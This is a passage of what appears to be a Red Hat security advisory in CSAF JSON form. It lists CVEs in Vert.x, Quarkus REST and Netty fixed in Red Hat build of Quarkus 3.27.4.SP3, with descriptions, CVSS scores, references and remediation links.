            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "vertx-core: Eclipse Vert.x: Information disclosure via improper handling of HTTP 30x redirects"
    },
    {
      "cve": "CVE-2026-15076",
      "cwe": {
        "id": "CWE-346",
        "name": "Origin Validation Error"
      },
      "discovery_date": "2026-07-14T09:00:58.070373+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2499914"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Eclipse Vert.x Web Client. The WebClientSession component does not properly validate the Domain attribute of a Set-Cookie response header against the originating server\u0027s domain. This vulnerability allows a remote attacker to inject a cookie scoped to an arbitrary third-party domain. When the victim application subsequently sends a request to the targeted domain, the injected cookie is presented, potentially leading to information disclosure and unauthorized access to sensitive data through the attacker\u0027s account on that service.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.vertx/vertx-web: Eclipse Vert.x Web Client: Information disclosure via improper cookie domain validation",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important information disclosure flaw in Eclipse Vert.x Web Client\u0027s `WebClientSession` component. The vulnerability arises from insufficient validation of the `Domain` attribute in `Set-Cookie` response headers, allowing a remote attacker to inject cookies scoped to arbitrary third-party domains. This could lead to sensitive data exposure and unauthorized access if a victim application subsequently sends requests to the targeted domain, presenting the attacker-controlled cookie. The impact is significant as it bypasses expected cross-domain security boundaries.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-15076"
        },
        {
          "category": "external",
          "summary": "RHBZ#2499914",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499914"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-15076",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15076"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-15076",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15076"
        },
        {
          "category": "external",
          "summary": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/162",
          "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/162"
        }
      ],
      "release_date": "2026-07-14T08:09:12.951000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.vertx/vertx-web: Eclipse Vert.x Web Client: Information disclosure via improper cookie domain validation"
    },
    {
      "cve": "CVE-2026-16308",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-23T09:57:24.306000+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506373"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Quarkus REST. An unauthenticated remote attacker can exploit this vulnerability by sending a crafted multipart/form-data request with an excessively large header section. This unbounded accumulation of MIME part-header bytes can exhaust the Java Virtual Machine (JVM) heap memory, leading to an OutOfMemoryError. The primary consequence is a denial of service, causing the application to crash.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.quarkus/quarkus-rest: io.quarkus/quarkus-vertx-http: io.quarkus.resteasy.reactive/resteasy-reactive: Quarkus REST - Unbounded multipart MIME part-header accumulation allows remote OOM denial of service",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important flaw in Quarkus REST / RESTEasy Reactive\u0027s MultipartParser, allowing an unauthenticated remote attacker to cause a denial of service. By sending a crafted multipart/form-data request with an excessively large part-header section, the attacker can exhaust the JVM heap, leading to application crashes. This vulnerability does not require valid form field names or authentication.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-16308"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506373",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506373"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-16308",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16308"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-16308",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16308"
        }
      ],
      "release_date": "2026-07-29T13:19:42.315000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.quarkus/quarkus-rest: io.quarkus/quarkus-vertx-http: io.quarkus.resteasy.reactive/resteasy-reactive: Quarkus REST - Unbounded multipart MIME part-header accumulation allows remote OOM denial of service"
    },
    {
      "cve": "CVE-2026-55831",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-21T00:02:57.305291+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2503103"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty, a network application framework. A remote attacker, by sending a specially crafted SPDY/3.1 SETTINGS frame, could cause the SPDY SETTINGS decoder to create a large number of map entries. This excessive processing and memory allocation can lead to a denial of service (DoS) due to heap growth and increased CPU usage.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: Denial of Service via SPDY SETTINGS frame processing",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service flaw in Netty\u0027s SPDY SETTINGS decoder, allowing a remote unauthenticated attacker to exhaust system resources. By sending a specially crafted SPDY/3.1 SETTINGS frame, an attacker can cause excessive memory allocation and CPU usage, leading to a denial of service. This vulnerability has a low attack complexity and requires no user interaction or privileges.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-55831"
        },
        {
          "category": "external",
          "summary": "RHBZ#2503103",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2503103"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-55831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-55831",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55831"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
        }
      ],
      "release_date": "2026-07-20T23:00:31.859000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: Denial of Service via SPDY SETTINGS frame processing"
    },
    {
      "cve": "CVE-2026-55833",
      "cwe": {
        "id": "CWE-409",
        "name": "Improper Handling of Highly Compressed Data (Data Amplification)"
      },
      "discovery_date": "2026-07-21T00:01:25.203265+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2503101"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty, a network application framework. A remote attacker could exploit a vulnerability in the SPDY header decoding process. By sending a specially crafted, small compressed header block, the attacker can cause it to expand significantly during decompression, leading to excessive CPU usage and memory allocation. This can result in a denial of service (DoS) due to resource exhaustion.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "netty: io.netty/netty-codec-http: Netty: Denial of Service via SPDY header decompression amplification",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service vulnerability in Netty\u0027s SPDY header decoding. A remote, unauthenticated attacker can send a small, compressed SPDY header block that, during decompression, expands significantly beyond configured limits. This leads to excessive CPU and memory consumption, potentially causing resource exhaustion and service unavailability in affected Red Hat products that utilize Netty with SPDY.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-55833"
        },
        {
          "category": "external",
          "summary": "RHBZ#2503101",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2503101"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-55833",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-55833",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55833"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
        }
      ],
      "release_date": "2026-07-20T23:18:07.893000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "netty: io.netty/netty-codec-http: Netty: Denial of Service via SPDY header decompression amplification"
    },
    {
      "cve": "CVE-2026-55851",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-21T22:43:00.311516+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2505698"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty\u0027s codec-haproxy module. A remote attacker could exploit a vulnerability in the HAProxyMessageDecoder by sending a specially crafted PROXY protocol v2 message. This leads to unbounded buffer accumulation, causing a denial of service (DoS) due to memory exhaustion.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-haproxy: Netty codec-haproxy: Denial of Service via crafted PROXY protocol v2 message",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-55851"
        },
        {
          "category": "external",
          "summary": "RHBZ#2505698",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2505698"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-55851",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55851"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-55851",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55851"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5"
        }
      ],
      "release_date": "2026-07-21T21:22:34.879000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-haproxy: Netty codec-haproxy: Denial of Service via crafted PROXY protocol v2 message"
    },
    {
      "cve": "CVE-2026-56745",
      "cwe": {
        "id": "CWE-772",
        "name": "Missing Release of Resource after Effective Lifetime"
      },
      "discovery_date": "2026-07-21T22:52:47.296001+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2505911"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty. A remote attacker can exploit a vulnerability in the `SpdyHttpDecoder` handler of Netty\u0027s SPDY-to-HTTP codec. When processing a client-initiated `SYN_STREAM` frame, the decoder fails to release allocated memory if the stream is reset or content limits are exceeded. This oversight leads to native memory exhaustion, which can result in a Denial of Service (DoS) for the affected system.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "netty: io.netty/netty-codec-http: Netty: Denial of Service via memory exhaustion in SPDY-to-HTTP codec",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service vulnerability in Netty\u0027s SPDY-to-HTTP codec, affecting Red Hat products that utilize vulnerable versions of Netty. A remote, unauthenticated attacker can exploit a memory leak in the `SpdyHttpDecoder` by sending specially crafted `SYN_STREAM` frames, leading to native memory exhaustion and a denial of service for the affected system.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56745"
        },
        {
          "category": "external",
          "summary": "RHBZ#2505911",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2505911"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56745",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56745",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56745"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
        }
      ],
      "release_date": "2026-07-21T21:31:25.307000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "netty: io.netty/netty-codec-http: Netty: Denial of Service via memory exhaustion in SPDY-to-HTTP codec"
    },
    {
      "cve": "CVE-2026-56746",
      "cwe": {
        "id": "CWE-807",
        "name": "Reliance on Untrusted Inputs in a Security Decision"
      },
      "discovery_date": "2026-07-21T22:30:30.983812+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2505422"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty, a network application framework. A remote attacker can bypass security controls in the `CorsHandler` component by sending a specially crafted request with a null origin header. This bypasses the intended access restrictions, allowing unauthorized requests to reach the backend application. This could lead to a compromise of data integrity by allowing unauthorized actions.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: Security control bypass allows unauthorized requests via null origin header",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56746"
        },
        {
          "category": "external",
          "summary": "RHBZ#2505422",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2505422"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56746",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56746",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56746"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5"
        }
      ],
      "release_date": "2026-07-21T21:36:18.627000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: Security control bypass allows unauthorized requests via null origin header"
    },
    {
      "cve": "CVE-2026-56819",
      "cwe": {
        "id": "CWE-911",
        "name": "Improper Update of Reference Count"
      },
      "discovery_date": "2026-07-21T23:03:36.448652+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2505980"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty, a network application framework. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted HTTP/2 DATA frames to applications that use Netty and have HTTP/2 content decompression enabled. This can lead to memory exhaustion, causing the application to crash and resulting in a Denial of Service (DoS). The issue occurs because the framework fails to release retained memory buffers when processing DATA frames for a stream whose decompressor has already been closed.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http2: Netty: Denial of Service via HTTP/2 DATA frame memory leak",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
